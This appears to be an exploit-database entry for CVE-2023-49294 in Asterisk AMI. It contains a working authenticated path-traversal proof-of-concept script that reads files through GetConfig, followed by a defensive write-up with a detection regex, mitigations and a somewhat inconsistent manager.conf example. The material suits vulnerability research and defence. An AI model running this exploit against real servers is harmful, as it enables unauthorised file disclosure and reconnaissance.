Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)
# Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)
# Date: 2023-03-26
# Exploit Author: Sean Pesce
# Vendor Homepage: https://asterisk.org/
# Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/
# Version: 18.20.0
# Tested on: Debian Linux
# CVE: CVE-2023-49294
#!/usr/bin/env python3
#
# Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that
# facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of
# file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar
# to the common INI configuration format.
#
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2023-49294
# https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f
# https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/
import argparse
import getpass
import socket
import sys
CVE_ID = 'CVE-2023-49294'
DEFAULT_PORT = 5038
DEFAULT_FILE = '/etc/hosts'
DEFAULT_ACTION_ID = 0
DEFAULT_TCP_READ_SZ = 1048576 # 1MB
def ami_msg(action, args, encoding='utf8'):
assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}'
assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}'
if 'ActionID' not in args:
args['ActionID'] = 0
line_sep = '\r\n'
data = f'Action: {action}{line_sep}'
for a in args:
data += f'{a}: {args[a]}{line_sep}'
data += line_sep
return data.encode(encoding)
def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):
assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}'
sock.sendall(data)
resp = b''
while not resp.endswith(b'\r\n\r\n'):
resp += sock.recv(read_sz)
return resp
if __name__ == '__main__':
# Parse command-line arguments
argparser = argparse.ArgumentParser()
argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server')
argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT)
argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True)
argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None)
argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE)
argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID)
if '-h' in sys.argv or '--help' in sys.argv:
print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr)
argparser.print_help()
sys.exit(0)
args = argparser.parse_args()
# Validate command-line arguments
assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}'
args.host = socket.gethostbyname(args.host)
if args.password is None:
args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')
print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)
print(f'[INFO] Connecting to Asterisk AMI: {args.user}@{args.host}:{args.port}', file=sys.stderr)
# Connect to the Asterisk AMI server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.connect((args.host, args.port))
# Read server banner
banner = sock.recv(DEFAULT_TCP_READ_SZ)
print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)
# Authenticate to the Asterisk AMI server
login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})
login_resp = tcp_send_rcv(sock, login_msg)
while b'Authentication' not in login_resp:
login_resp = tcp_send_rcv(sock, b'')
if b'Authentication accepted' not in login_resp:
print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr)
sys.exit(1)
#print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)
print(f'[INFO] Login success', file=sys.stderr)
# Obtain file data via path traversal
traversal = '../../../../../../../../'
cfg_msg = ami_msg('GetConfig', {
'ActionID': args.action_id,
'Filename': f'{traversal}{args.file}',
#'Category': 'default',
#'Filter': 'name_regex=value_regex,',
})
resp = tcp_send_rcv(sock, cfg_msg)
while b'Response' not in resp:
resp = tcp_send_rcv(sock, b'')
print(f'', file=sys.stderr)
print(f'{resp.decode("utf8")}')
if b'Error' in resp:
sys.exit(1)
pass # Done Asterisk AMI — CVE-2023-49294: Partial File Content & Path Disclosure (Authenticated)
Executive summary
CVE-2023-49294 is an authenticated information-disclosure vulnerability in the Asterisk Manager Interface (AMI) that allows an authenticated AMI user to enumerate filesystem paths and obtain partial contents of files that use Asterisk’s configuration/INI-like format. The underlying issue is insufficient input validation (path normalization) for the GetConfig action’s Filename parameter, which permits path traversal and causes the AMI process to read files outside of the intended directory.
Why this matters
- Although authentication is required, many deployments expose AMI to larger networks or reuse weak credentials.
- Attackers with AMI access could discover sensitive configuration files, internal hostnames, or other information useful for follow-on attacks (credential harvesting, lateral movement, targeted reconnaissance).
- The vulnerability reveals partial contents limited to files that match Asterisk’s configuration format, but that is often enough to disclose critical settings.
Vulnerability class and root cause
This is a path-traversal / file-disclosure issue caused by inadequate validation and normalization of a user-supplied filename passed into the GetConfig AMI action. When the AMI service fails to canonicalize and constrain the requested path to an allowed base directory, callers can traverse upward (e.g., “../” sequences) and reference arbitrary files the AMI process can read.
Scope and prerequisites
- Requires valid AMI credentials (authenticated access to Asterisk Manager Interface).
- Impacts Asterisk versions in which the GetConfig action does not properly validate the Filename parameter (see vendor advisory for exact affected versions).
- File disclosure is limited to files parsable as Asterisk configuration (INI-like) — not arbitrary binary dump — but this still exposes sensitive textual configuration in many cases.
Detection and indicators of compromise (defensive guidance)
Defenders should monitor AMI operations and network traffic for suspicious GetConfig requests containing traversal sequences or absolute paths. Because AMI is a text protocol over TCP (default port 5038), AMI messages are easily logged and inspected.
- Look for AMI messages where the Filename field contains ../ or long traversal chains.
- Flag any GetConfig requests originating from unexpected sources or non-administrator accounts.
- Alert on AMI user login events outside normal patterns (time, IP).
Example regex rules for SIEM/IDS (defensive use):
Regex (case-insensitive):
Action:\s*GetConfig[\s\S]*?Filename:\s*.*(\.\.\/|\/etc\/|\\\.\.\\\)
Explanation: This pattern attempts to match an AMI GetConfig action where the Filename contains upward traversal sequences (../) or absolute system paths such as /etc/. Use in detection pipelines to generate alerts for further investigation.
Safe testing guidance
- Only test for this issue in controlled, authorized environments (a lab, an isolated VM, or systems you own). Do not scan or attempt exploitation against systems for which you lack explicit permission.
- Prefer non-destructive checks: look for AMI versions, vendor advisories, or known-good/known-bad patterns in logs rather than actively reading files on production systems.
Mitigation and remediation
Recommended mitigation steps (in order of priority):
- Apply vendor patches and upgrades: follow the Asterisk security advisory and upgrade to a fixed release as published by the vendor.
- Restrict AMI access: bind AMI to loopback or management network only, use a firewall to restrict source IP ranges, and avoid exposing AMI to the public Internet.
- Harden AMI credentials: use strong unique passwords, rotate secrets, and avoid reusing AMI credentials across systems.
- Use least privilege: create AMI users with the minimum privileges required; avoid giving broad permissions to untrusted accounts.
- Enable TLS and other encryption for AMI where supported, to protect credentials in transit.
- Audit manager.conf: ensure only intended users and peers are defined, and restrict actions available to each account.
Manager configuration recommendations
Lock down AMI in manager.conf. Example minimal configuration guidance (illustrative):
[general]
enabled = yes
webenabled = no
[admin]
secret = use-a-strong-password
read = system,call,log,verbose,command,agent,user,config
write = system,call,log,verbose,command,agent,user,config
permit = 127.0.0.1/255.255.255.0
deny=0.0.0.0/0.0.0.0
Explanation: The snippet shows how to bind AMI access by network (permit/deny), reduce web interface exposure, and ensure strong passwords. Adjust the read/write privileges carefully — avoid granting unnecessary config or system-level permissions to untrusted accounts.
Hardening code patterns (developers)
If you are developing or auditing code that exposes file-reading functionality, always canonicalize and constrain user-supplied paths. Use path normalization and enforce an allowlist base directory.
import os
def is_safe_path(base_dir, user_input):
# Normalize and join the path
requested = os.path.normpath(os.path.join(base_dir, user_input))
# Ensure the resolved path is inside base_dir
return os.path.commonpath([os.path.abspath(base_dir)]) == os.path.commonpath([os.path.abspath(base_dir), os.path.abspath(requested)])
# Example use:
base = '/etc/asterisk'
if is_safe_path(base, user_supplied_filename):
with open(os.path.join(base, user_supplied_filename), 'r') as fh:
data = fh.read()
else:
raise ValueError('Invalid path')
Explanation: This defensive code normalizes the provided filename against a base directory, then compares the canonical paths using os.path.commonpath to ensure the resulting path remains within the allowed directory. Reject inputs that escape the base. This pattern prevents directory traversal regardless of input like “../../etc/passwd”.
Detecting vulnerable deployments without exploitation
Instead of attempting file reads, enumerators and auditors can safely gather version info and compare it to vendor advisories. For example, obtain the Asterisk version from authorized management channels or from system packages and consult the Asterisk security advisory page (GHSA) and NVD CVE entry for affected versions and fixes.
Response playbook (incident handling)
- If you detect suspicious AMI activity, immediately rotate AMI credentials and revoke exposed accounts.
- Isolate affected hosts from the network for forensic analysis if required by policy.
- Collect AMI logs, network captures, and authentication logs to determine the scope of access and whether files were read.
- Apply vendor patches, then re-audit to ensure no further suspicious GetConfig attempts are occurring.
- Consider password resets and a secret rotation for other systems if AMI credentials were reused elsewhere.
Responsible disclosure and references
If you discover sensitive exposures or a new vulnerability, follow responsible disclosure practices: contact the vendor (Asterisk) and coordinate with their security contact, provide reproducible but non-exploitable diagnostic information, and give time for remediation before public disclosure.
| Resource | Purpose |
|---|---|
| Vendor advisory (Asterisk / GitHub security) | Detailed fix and affected versions — primary source for patches |
| NVD / CVE-2023-49294 | CVE summary and CVSS metadata |
| Asterisk manager.conf documentation | How to configure and restrict AMI users and permissions |
Final notes
CVE-2023-49294 demonstrates how seemingly small omissions in input validation for administrative interfaces can expose sensitive information. Prioritize patching, principle-of-least-privilege for management interfaces, robust logging/alerting, and safe testing practices to reduce the risk of such issues in Asterisk deployments.